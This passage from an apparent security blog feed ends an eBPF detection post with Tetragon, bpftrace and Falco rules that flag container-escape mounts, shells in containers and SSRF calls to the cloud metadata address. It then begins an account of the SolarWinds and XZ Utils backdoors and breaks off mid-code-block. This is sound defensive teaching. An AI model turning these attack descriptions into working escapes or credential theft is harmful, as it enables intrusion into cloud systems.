<h3 id="tetragon-policy-kill-any-mount-from-a-non-host-namespace">Tetragon policy: kill any mount from a non-host namespace</h3>
<pre><code class="" data-line=""># This covers the --privileged container escape path documented in EP08
# The mount() call that crosses from container namespace to host filesystem
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: &quot;detect-container-mount-escape&quot;
spec:
  kprobes:
  - call: &quot;security_sb_mount&quot;
    syscall: false
    args:
    - index: 0
      type: &quot;string&quot;     # dev_name
    - index: 3
      type: &quot;string&quot;     # mount flags
    selectors:
    - matchNamespaces:
      - namespace: Mnt
        operator: NotIn
        values:
        - &quot;host&quot;
      matchArgs:
      - index: 0
        operator: &quot;NotEqual&quot;
        values:
        - &quot;proc&quot;
        - &quot;sysfs&quot;
        - &quot;tmpfs&quot;        # Common legitimate mounts in containers
      matchActions:
      - action: Sigkill
        rateLimit: &quot;10/minute&quot;
</code></pre>
<p>Start with <code class="" data-line="">action: Post</code> and tune the exclusions for your environment before switching to <code class="" data-line="">Sigkill</code>. See the production gotchas below.</p>
<h3 id="bpftrace-ad-hoc-namespace-crossing-investigation">bpftrace: ad-hoc namespace crossing investigation</h3>
<pre><code class="" data-line=""># bpftrace: trace mount() calls and show the mount namespace of the caller
# Mount namespace ID of the host: read from /proc/1/ns/mnt
HOST_MNT_NS=$(readlink /proc/1/ns/mnt | grep -oP &#039;\d+&#039;)

bpftrace -e &#039;
#include &lt;linux/nsproxy.h&gt;
#include &lt;linux/mount.h&gt;

kprobe:__x64_sys_mount {
  $nsproxy = (struct nsproxy *)curtask-&gt;nsproxy;
  $mnt_ns_id = $nsproxy-&gt;mnt_ns-&gt;ns.inum;
  printf(&quot;mount: pid=%-6d comm=%-20s mnt_ns=%u\n&quot;,
         pid, comm, $mnt_ns_id);
}
&#039; 2&gt;/dev/null
</code></pre>
<p>Compare the <code class="" data-line="">mnt_ns</code> value in output against <code class="" data-line="">$HOST_MNT_NS</code>. Any mount call with a <code class="" data-line="">mnt_ns</code> value other than the host&#8217;s is from inside a container. A privileged container attempting host filesystem access shows a container namespace ID.</p>
<hr />
<h2 id="building-a-detection-pipeline">Building a Detection Pipeline</h2>
<p>Ad-hoc bpftrace commands answer questions during an incident. Always-on detection requires a pipeline that runs continuously, routes alerts to a durable destination, and survives pod restarts. The two production-grade options in this stack:</p>
<pre><code class="" data-line="">eBPF hooks
    │
    ├── Tetragon (always-on, Kubernetes-native)
    │       └── TracingPolicy CRDs
    │               └── JSON events → Hubble → Grafana
    │                               → SIEM (Splunk/Elastic)
    │                               → PagerDuty
    │
    └── Falco (rule-based, declarative)
            └── /etc/falco/rules.d/*.yaml
                    └── falcosidekick
                            ├── Slack
                            ├── PagerDuty
                            ├── Elasticsearch
                            └── AWS Lambda (custom response)
</code></pre>
<p>The <a href="/ebpf-tc-pod-policy/">TC eBPF pod-level network policy</a> post covers how Cilium and Tetragon share the same underlying kernel attachment points — understanding TC hooks helps explain why Tetragon&#8217;s network-level policies fire at the same layer as Cilium&#8217;s NetworkPolicy enforcement.</p>
<h3 id="falco-with-falcosidekick-complete-local-testing-setup">Falco with falcosidekick: complete local testing setup</h3>
<p>Use this to validate your Falco rules before deploying to a cluster. It routes Falco alerts to Slack in real time.</p>
<pre><code class="" data-line=""># docker-compose.yml — local Falco + falcosidekick testing
# Requires: Docker with kernel headers or eBPF driver support
version: &quot;3.8&quot;

services:
  falco:
    image: falcosecurity/falco-no-driver:latest
    privileged: true
    volumes:
      - /var/run/docker.sock:/host/var/run/docker.sock
      - /dev:/host/dev
      - /proc:/host/proc:ro
      - /boot:/host/boot:ro
      - /lib/modules:/host/lib/modules:ro
      - /usr:/host/usr:ro
      - /etc/falco:/etc/falco
      - ./rules:/etc/falco/rules.d:ro
    environment:
      FALCO_GRPC_ENABLED: &quot;true&quot;
      FALCO_GRPC_BIND_ADDRESS: &quot;0.0.0.0:5060&quot;
    ports:
      - &quot;5060:5060&quot;
    command: &gt;
      /usr/bin/falco
        --modern-bpf
        -o &quot;json_output=true&quot;
        -o &quot;grpc.enabled=true&quot;
        -o &quot;grpc_output.enabled=true&quot;

  falcosidekick:
    image: falcosecurity/falcosidekick:latest
    depends_on:
      - falco
    environment:
      FALCO_GRPC_CONN: &quot;falco:5060&quot;
      FALCO_GRPC_TLS: &quot;false&quot;
      SLACK_WEBHOOKURL: &quot;${SLACK_WEBHOOK}&quot;
      SLACK_MINIMUMPRIORITY: &quot;warning&quot;
      SLACK_MESSAGEFORMAT: &gt;
        &quot;[{{.Priority}}] {{.Rule}}
        | pod={{.OutputFields.k8s_pod_name}}
        | ns={{.OutputFields.k8s_ns_name}}
        | cmd={{.OutputFields.proc_cmdline}}&quot;
    ports:
      - &quot;2801:2801&quot;
</code></pre>
<pre><code class="" data-line=""># Start the stack (set SLACK_WEBHOOK first)
export SLACK_WEBHOOK=&quot;https://hooks.slack.com/services/YOUR/WEBHOOK/URL&quot;
docker compose up -d

# Trigger a test alert: exec into any running container
docker exec -it &lt;any-container&gt; /bin/sh

# Check falcosidekick received it
curl -s http://localhost:2801/metrics | grep falcosidekick_inputs_total
</code></pre>
<h3 id="deploying-falco-to-kubernetes-with-helm">Deploying Falco to Kubernetes with Helm</h3>
<pre><code class="" data-line=""># Add Falco Helm repo
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

# Install Falco with eBPF driver (not kernel module — required in Kubernetes)
helm install falco falcosecurity/falco \
  --namespace falco \
  --create-namespace \
  --set driver.kind=modern_ebpf \
  --set falcosidekick.enabled=true \
  --set falcosidekick.config.slack.webhookurl=&quot;${SLACK_WEBHOOK}&quot; \
  --set falcosidekick.config.slack.minimumpriority=warning \
  --set customRules.&quot;purple-team\.yaml&quot;=&quot;$(cat ./rules/purple-team.yaml)&quot;

# Verify Falco pods are running on all nodes
kubectl get pods -n falco -o wide

# Tail Falco logs for a specific node&#039;s pod
kubectl logs -n falco -l app.kubernetes.io/name=falco -f
</code></pre>
<pre><code class="" data-line=""># Validate a specific rule is loaded
kubectl exec -n falco &lt;falco-pod&gt; -- falco --list-rules 2&gt;/dev/null | grep &quot;Shell Spawned&quot;
</code></pre>
<hr />
<h2 id="what-this-means-for-each-prior-attack">What This Means for Each Prior Attack</h2>
<p>Every attack in EP07 through EP10 had a detectable kernel-level signal that the standard telemetry stack missed. Here&#8217;s the detection mapping:</p>
<table>
<thead>
<tr>
<th>Episode</th>
<th>Attack</th>
<th>What Standard Telemetry Missed</th>
<th>eBPF Detection Signal</th>
</tr>
</thead>
<tbody>
<tr>
<td>EP07</td>
<td>SSRF to EC2 IMDS</td>
<td>CloudTrail: nothing. VPC Flow Logs: 169.254.169.254 destination, 15-min delay, no PID</td>
<td>TC kprobe: <code class="" data-line="">connect()</code> to <code class="" data-line="">169.254.169.254</code> from app process — PID, comm, container, real-time</td>
</tr>
<tr>
<td>EP08</td>
<td>Container escape via privileged mount</td>
<td>CloudTrail: nothing. Syslog: nothing</td>
<td>kprobe: <code class="" data-line="">security_sb_mount()</code> from non-host mount namespace — namespace ID mismatch fires alert</td>
</tr>
<tr>
<td>EP09</td>
<td>Supply chain implant execution</td>
<td>CloudTrail: nothing (OS-level). GuardDuty: maybe if beacon calls AWS APIs</td>
<td>kprobe: <code class="" data-line="">execve()</code> with anomalous parent chain — web process → shell → unknown binary from <code class="" data-line="">/tmp</code></td>
</tr>
<tr>
<td>EP10</td>
<td>Lateral movement via cross-account role chaining</td>
<td>CloudTrail: AssumeRole events present but no process context</td>
<td>TC hook: <code class="" data-line="">connect()</code> to <code class="" data-line="">sts.amazonaws.com</code> from Lambda handler process — unexpected process identity</td>
</tr>
</tbody>
</table>
<p>The table is not theoretical. It reflects what you would actually observe running these detection rules against the attack simulations in those episodes.</p>
<p>For the SSRF case (EP07): the connection to <code class="" data-line="">169.254.169.254</code> from the web application process would fire within milliseconds of the exploit. VPC Flow Logs would record the same IP 10–15 minutes later, with no information about which process made it. By the time the flow log is queryable, the attacker has the IAM credentials and may have made subsequent API calls in a different region.</p>
<p>For the container escape (EP08): the <code class="" data-line="">mount()</code> from a non-host mount namespace is the earliest detectable signal of the escape attempt. It fires before the attacker has host filesystem access. With <code class="" data-line="">action: Sigkill</code> in the Tetragon policy, the process is terminated at this syscall — the escape does not complete.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Use the eBPF driver for Falco in Kubernetes, not the kernel module.</strong> The kernel module requires installing a kernel module on every node, which creates a dependency on kernel headers being present and compatible. The <code class="" data-line="">modern_ebpf</code> driver (Falco 0.35+) uses BTF and CO-RE — it works on kernels 5.8+ without kernel module installation and survives kernel upgrades. In managed Kubernetes (EKS, GKE, AKS), the kernel module path often doesn&#8217;t work at all due to the OS image restrictions.</p>
<p><strong>Test Tetragon&#8217;s <code class="" data-line="">Sigkill</code> action exhaustively before enabling it in production.</strong> The <code class="" data-line="">Sigkill</code> action terminates the process at the moment of the violating syscall — before it completes. This is powerful for prevention but catastrophic if your exclusions are wrong. Common false positive sources: debug containers (<code class="" data-line="">kubectl debug</code>), init containers that perform legitimate mounts, Kubernetes admission webhooks calling shell scripts. Always deploy with <code class="" data-line="">action: Post</code> first, tune for two weeks of normal traffic, then switch to <code class="" data-line="">Sigkill</code> only on rules with zero false positives in your environment.</p>
<p><strong>bpftrace is an investigation tool, not a production detector.</strong> bpftrace compiles and loads an eBPF program per invocation — it has no persistence, no alerting, and no output routing to your SIEM. It is for the incident response scenario described in the opening: &#8220;did this process make outbound connections in the last 30 minutes?&#8221; (answered: it&#8217;s what&#8217;s happening right now). For always-on detection, use Tetragon or Falco. Running bpftrace as a daemon substitute introduces overhead without the management plane that production tools provide.</p>
<p><strong>The shell-in-container rule will fire on <code class="" data-line="">kubectl exec</code> sessions.</strong> Any time an operator runs <code class="" data-line="">kubectl exec -it &lt;pod&gt; -- /bin/bash</code>, the Falco rule above triggers. This is working as intended — <code class="" data-line="">kubectl exec</code> is a post-compromise technique as well as an operational tool. Handle this with an exclusion on the user identity or namespace:</p>
<pre><code class="" data-line=""># Add to the rule condition to exclude operator kubectl exec sessions
# Map your cluster admin users or service account here
and not user.name in (cluster-admin-users)
and not k8s.ns.name in (ops-tooling, debug-ns)
</code></pre>
<p><strong>High-frequency kprobes on hot paths add measurable overhead.</strong> Attaching to <code class="" data-line="">tcp_connect</code> fires on every outbound connection from every process on the node. On a node handling hundreds of microservices with high connection rates (service mesh with short-lived connections), this adds CPU overhead. Profile before deploying. Tetragon&#8217;s namespace-scoped selectors (<code class="" data-line="">matchNamespaces: NotHost</code>) help by skipping host-namespace processes. Filter as narrowly as your threat model allows.</p>
<p><strong>Ring buffer overflow silently drops events on high-throughput nodes.</strong> Both Falco and bpftrace use kernel ring buffers to pass events to userspace. If the userspace consumer (the Falco daemon, the bpftrace process) cannot keep up with the event rate, the kernel drops events silently. Falco exposes a <code class="" data-line="">falco_events_dropped_total</code> metric — monitor it. Tune <code class="" data-line="">ring_buffer_size</code> in the Falco configuration if drops occur on high-throughput nodes.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Use Case</th>
<th>Tool</th>
<th>Hook Type</th>
<th>Detection Latency</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-hoc outbound connection investigation</td>
<td>bpftrace</td>
<td>tracepoint:syscalls:sys_enter_connect</td>
<td>Real-time</td>
</tr>
<tr>
<td>Always-on container shell detection</td>
<td>Falco</td>
<td>eBPF modern driver / syscall</td>
<td>&lt; 100ms</td>
</tr>
<tr>
<td>Container escape prevention</td>
<td>Tetragon + Sigkill</td>
<td>kprobe: security_sb_mount</td>
<td>Blocking (pre-completion)</td>
</tr>
<tr>
<td>Privilege escalation detection</td>
<td>Falco / bpftrace</td>
<td>tracepoint:syscalls:sys_enter_setuid</td>
<td>Real-time</td>
</tr>
<tr>
<td>Supply chain implant execution</td>
<td>Falco execve rule</td>
<td>eBPF modern driver</td>
<td>&lt; 100ms</td>
</tr>
<tr>
<td>SSRF-to-metadata detection</td>
<td>Tetragon kprobe</td>
<td>kprobe: tcp_connect</td>
<td>Real-time</td>
</tr>
<tr>
<td>Lateral movement via unexpected STS call</td>
<td>Tetragon kprobe</td>
<td>kprobe: tcp_connect + process filter</td>
<td>Real-time</td>
</tr>
<tr>
<td>Audit trail for incident response</td>
<td>Tetragon JSON events</td>
<td>kprobe / tracepoint</td>
<td>Persistent, SIEM-routable</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Best For</th>
<th>Not For</th>
</tr>
</thead>
<tbody>
<tr>
<td>bpftrace</td>
<td>Ad-hoc node investigation during IR</td>
<td>Always-on production detection</td>
</tr>
<tr>
<td>Falco</td>
<td>Rule-based behavioral detection</td>
<td>Network-layer enforcement</td>
</tr>
<tr>
<td>Tetragon</td>
<td>Always-on detection + optional enforcement</td>
<td>Ad-hoc one-liner investigation</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Detection engineering with eBPF</strong> closes the telemetry gap that CloudTrail, VPC Flow Logs, and syslog cannot close: OS-level process activity is only visible at the kernel syscall layer, and eBPF is the only production-grade mechanism that reads it without kernel module risk</li>
<li>Every attack in EP07 through EP10 has a real-time kernel-level signal — SSRF connections, container mount calls, unexpected execve chains, privilege escalation attempts — none of which appear in your current SIEM unless you&#8217;ve built this layer</li>
<li>Falco provides declarative, rule-based behavioral detection; Tetragon provides syscall-level enforcement that can terminate an attack before it completes — use both with complementary scopes</li>
<li>bpftrace is the incident response tool for asking the kernel a direct question right now; it is not a monitoring agent and should not be treated as one</li>
<li>The false positive problem is real and must be addressed before enabling enforcement: <code class="" data-line="">kubectl exec</code>, debug containers, init containers with legitimate mounts — exclusions must be tuned per environment before moving from <code class="" data-line="">action: Post</code> to <code class="" data-line="">action: Sigkill</code></li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 closed the detection gap. You&#8217;ve instrumented the kernel, you&#8217;re receiving Falco alerts, Tetragon is firing on namespace-crossing mount attempts. Then the alert fires at 2:47 AM on a Sunday — not a test, not a false positive. Something got in.</p>
<p>EP12 is the playbook for the first 24 hours after a confirmed cloud breach: what to isolate and how without destroying forensic evidence, what to preserve before it rotates out of CloudTrail&#8217;s 90-day window, what eBPF data to capture while the node is still live, who to call and in what order, and how to avoid the common mistakes that turn a containable incident into a regulatory event. The response phase — where everything you built in EP04 through EP11 either pays off or reveals what you missed.</p>
<p>Get EP12 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&amp;linkname=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fdetection-engineering-ebpf-cloud%2F&#038;title=Detection%20Engineering%20with%20eBPF%3A%20Kernel-Level%20Visibility%20for%20Cloud%20Incidents" data-a2a-url="https://linuxcent.com/detection-engineering-ebpf-cloud/" data-a2a-title="Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents"></a></p><p>The post <a href="https://linuxcent.com/detection-engineering-ebpf-cloud/">Detection Engineering with eBPF: Kernel-Level Visibility for Cloud Incidents</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/detection-engineering-ebpf-cloud/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1873</post-id>	</item>
		<item>
		<title>Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense</title>
		<link>https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/</link>
					<comments>https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 30 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[CVE-2024-3094]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SolarWinds]]></category>
		<category><![CDATA[Supply Chain]]></category>
		<category><![CDATA[XZ Utils]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1867</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 14</span> <span class="rt-label rt-postfix">minutes</span></span>Supply chain attacks target trust, not code. SolarWinds to XZ Utils anatomy: how 2 years of social engineering almost shipped a backdoor to every major Linux distro.</p>
<p>The post <a href="https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/">Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 14</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-attack/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape-attack-paths/">Kubernetes container escape</a> → <strong>Supply Chain Attacks</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Supply chain attack detection</strong> is OWASP A06 + A08: attackers compromise the software build or distribution chain so that legitimate, signed artifacts deliver malicious payloads — standard vulnerability scanning misses this entirely</li>
<li>SolarWinds (December 2020): threat actors compromised the Orion build system in March 2020, waited eight months, inserted the SUNBURST backdoor into a digitally signed update, and reached 18,000+ organizations including the U.S. Treasury, DHS, and DoD</li>
<li>XZ Utils (CVE-2024-3094, March 2024): the &#8220;Jia Tan&#8221; persona spent two years building open-source credibility before inserting a backdoor into release tarballs — the backdoor was not in the git repo, only in the distributed tarball <em>(release tarball = the compressed archive that Linux distributions download to build the package — separate from the git source tree)</em></li>
<li>The XZ backdoor targeted <code class="" data-line="">liblzma</code>, which is linked into <code class="" data-line="">sshd</code> via <code class="" data-line="">systemd</code> on affected distros — a compromised SSH daemon on every major Linux distribution was days away from shipping</li>
<li>Detection relied on human observation: Andres Freund noticed a 500ms SSH connection delay during unrelated benchmarking, traced it with <code class="" data-line="">strace</code>, and found <code class="" data-line="">sshd</code> making unexpected calls into <code class="" data-line="">liblzma</code></li>
<li>The structural fix is a pipeline: pin dependencies with hashes + private artifact registry + SBOM generation + image signing with Sigstore/cosign — each layer catches a different attack class</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A06 Vulnerable and Outdated Components — compromised upstream dependencies. A08 Software and Data Integrity Failures — build artifacts not signed or verified; release tarball content not validated against source.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌──────────────────────────────────────────────────────────────────────────┐
│                  SUPPLY CHAIN ATTACK SURFACE                             │
│                                                                          │
│   SOURCE REPO          BUILD SYSTEM         ARTIFACT REGISTRY           │
│   github.com/org  ──&#x25b6;  CI/CD pipeline  ──&#x25b6;  container registry / PyPI  │
│        │                    │                      │                     │
│        │                    │                      │                     │
│   ATTACK POINT 1:      ATTACK POINT 2:       ATTACK POINT 3:            │
│   Social engineer      Compromise the        Typosquatting /             │
│   maintainer trust     build host            dependency confusion        │
│   (XZ model)           (SolarWinds model)    (public registry model)    │
│        │                    │                      │                     │
│        └────────────────────┴──────────────────────┘                    │
│                             │                                            │
│                    COMPROMISED ARTIFACT                                  │
│             (signed, valid, ships with legitimate release)               │
│                             │                                            │
│                             ▼                                            │
│        PRODUCTION SYSTEMS (18,000 orgs / every major Linux distro)      │
│                                                                          │
│   ═══════════════════════════════════════════════════════════════        │
│   DETECTION PIPELINE                                                     │
│   Hash pinning + SBOM + Sigstore verify + tarball ≠ git diff check      │
│   Each layer catches a different attack class                            │
└──────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Supply chain attack detection</strong> is hard because the artifact being delivered is legitimate by every traditional check: it is signed by the vendor, it passes antivirus, it resolves from the correct registry. The attack happened before the artifact was packaged, inside the trust chain you already approved. SolarWinds and XZ Utils are not anomalies — they are the template.</p>
<hr />
<h2 id="two-incidents-same-attack-surface">Two Incidents — Same Attack Surface</h2>
<h3 id="solarwinds-december-2020">SolarWinds (December 2020)</h3>
<p>The SolarWinds compromise is the definitive build-system attack. The timeline:</p>
<pre><code class="" data-line="">March 2020       Threat actor (UNC2452 / Cozy Bear) gains access to
                 SolarWinds build environment

October 2020     SUNBURST backdoor code inserted into SolarWinds Orion
                 build process — not into the source repository

October 2020     Orion 2019.4 through 2020.2.1 builds produced with
                 SUNBURST included — binaries digitally signed by
                 SolarWinds with their valid code-signing certificate

October–         SUNBURST distributed to ~18,000 customers via the
December 2020    legitimate Orion software update mechanism

December 2020    FireEye detects SUNBURST while investigating their own
                 breach — reports to SolarWinds and CISA
</code></pre>
<p><strong>What made detection almost impossible:</strong></p>
<p>The compiled binary passed every integrity check a customer would run. It was signed with SolarWinds&#8217; legitimate certificate. It installed via the normal software update channel. The SUNBURST code itself was designed for low observability: it dormant for 12–14 days after installation, used legitimate SolarWinds API patterns to blend with normal Orion traffic, and used legitimate cloud infrastructure (Avsvmcloud.com, which resolved to valid cloud provider IPs) for command-and-control.</p>
<p>The C2 communication was disguised as standard Orion telemetry. Exfiltration was slow — the attackers were not bulk-extracting data, they were selecting targets and moving laterally only inside high-value organizations.</p>
<p><strong>The attack vector was the build system, not source code.</strong> SolarWinds source repositories did not contain SUNBURST. The attacker modified the compiled output at build time. A code review of the SolarWinds source would have found nothing.</p>
<hr />
<h3 id="xz-utils-cve-2024-3094-march-2024">XZ Utils (CVE-2024-3094, March 2024)</h3>
<p>The XZ Utils compromise is more instructive because it was social engineering at the package maintainer level, caught before it shipped widely — and the catch was accidental.</p>
<p><strong>Timeline:</strong></p>
<pre><code class="" data-line="">November 2021    GitHub user &quot;Jia Tan&quot; (JiaT75) makes first commit to
                 xz-utils repository

2022–2023        Jia Tan steadily contributes quality patches to xz-utils,
                 builds trust with maintainer Lasse Collin, is eventually
                 granted commit access

Early 2024       Jia Tan accelerates commit activity, coordinates social
                 pressure on Lasse Collin from other fake personas to
                 push releases faster

February 2024    Jia Tan releases xz 5.6.0 — backdoor code inserted in
                 the release tarball build process (not in git commits)

March 9, 2024    xz 5.6.1 released with minor obfuscation changes

March 28–29,     Andres Freund (PostgreSQL/Microsoft engineer) notices
2024             500ms SSH connection delay on his Debian sid machine
                 while running unrelated Valgrind benchmarks

March 29, 2024   Freund traces the delay with strace, finds sshd making
                 unexpected calls into liblzma, reports to oss-security
                 mailing list

March 30, 2024   CISA advisory published. Fedora 40 beta, Debian unstable,
                 openSUSE Tumbleweed had all shipped the affected version.
                 Ubuntu 24.04 LTS was in freeze and had it staged.
</code></pre>
<p><strong>What was backdoored and how:</strong></p>
<p><code class="" data-line="">xz-utils</code> provides the <code class="" data-line="">liblzma</code> compression library. On systemd-based Linux distributions, <code class="" data-line="">sshd</code> links against <code class="" data-line="">libsystemd</code>, which links against <code class="" data-line="">liblzma</code>. The backdoor hooked into <code class="" data-line="">sshd</code>&#8216;s RSA key processing — specifically <code class="" data-line="">RSA_public_decrypt</code> — to allow authentication bypass using a specific attacker-controlled private key.</p>
<p>The backdoor was not in the git repository. It was injected during the tarball release process via obfuscated test files in the repository that were assembled and compiled during the build. Comparing the released tarball to the git tree reveals extra files and code that do not appear in any git commit:</p>
<pre><code class="" data-line="">xz --version
# 5.6.0 or 5.6.1 = affected; 5.4.x = safe

# How Andres Freund found it
